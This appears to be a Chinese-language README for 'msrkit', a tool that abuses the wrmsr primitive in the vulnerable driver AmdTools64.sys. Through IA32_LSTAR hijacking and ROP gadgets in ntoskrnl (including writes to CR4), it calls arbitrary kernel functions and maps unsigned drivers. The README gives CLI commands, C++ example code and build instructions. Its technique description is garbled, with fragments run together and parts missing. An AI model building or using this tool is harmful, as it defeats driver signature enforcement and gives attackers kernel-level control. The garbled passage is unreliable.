一个通过易受攻击的驱动程序(AmdTools64.sys)中的 wrmsr 原语,利用 ROP 链来调用内核函数和映射驱动程序的工具。
NtLoadDriver 加载 AmdTools64.sys(如果符号链接不可用,则回退到 PnP 设备节点 + 基于 GUID 的设备接口)0xFFF02804)读取 IA32_LSTARntoskrnl.exe 中扫描 ROP gadget(pop rcx; ret、mov cr4, rcx; ret、wbinvd; ret 等)IA32_LSTAR,清除 FMASK 中的 AC 位,并发出 syscallsysretq 返回用户模式驱动程序映射遵循相同的路径:通过 ExAllocatePoolWithTag 分配内核池,复制准备好的 PE 映像(已应用重定位、已解析导入、已修补安全 cookie),并调用映射的入口点。
msrkit <driver.sys> call <ExportName> [args...]
msrkit <driver.sys> call_at <address> [args...]
msrkit <driver.sys> map <unsigned.sys> [entry args...]
msrkit <driver.sys> unmap <address>
call -- 解析并调用指定的 ntoskrnl 导出函数。参数按整数解析(十六进制需带 0x 前缀)。打印返回值。call_at -- 调用任意内核虚拟地址。map -- 将未签名的驱动程序映射到非分页池并调用其入口点(ExAllocatePoolWithTag)。打印映射后的基地址。unmap -- 释放先前映射到给定基地址的驱动程序。#include "msrkit.h"
#pragma comment(lib, "msrkit.lib")
int main()
{
MSRK::INIT(L"AmdTools64.sys");
void* mptr = MSRK::CALL("ExAllocatePool2", 0x40ULL, 0x1000, 'Ruri');
std::cout << "Memory allocate: " << mptr << std::endl;
auto mptr23 = MSRK::MAP("driver.sys", 123, 456);
std::cout << "Driver mapped: " << std::hex << (uintptr_t)mptr23 << "\n";
// raw call
std::vector<uint64_t>args = { 0x40ULL, 1024, 'Tagz' };
void* mptr24 = MSRK::M_FUNCTION::CALL("ExAllocatePool2", args.data(), args.size());
std::cout << "raw memory alloc : " << mptr24 << std::endl;
std::vector<uint64_t>args2 = { 123, 456 };
auto mptr25 = MSRK::M_DRIVERMAP::MAP( "driver.sys", args2.data(), args2.size() );
MSRK::UNMAP(mptr23);
MSRK::CLEANUP();
}
可选地传入现有的驱动程序句柄以跳过加载:
MSRK::INIT("AmdTools64.sys", existing_handle);
需要带有 MSVC(v143+)和 MASM(ml64.exe)的 Visual Studio。
cmake -B build -G "Visual Studio 17 2022" -A x64
cmake --build build --config Release
输出:build/Release/msrkit.exe(CLI)和 msrkit.lib(静态库)。
CFG 已禁用(/guard:cf-)。栈 cookie(/GS)已启用。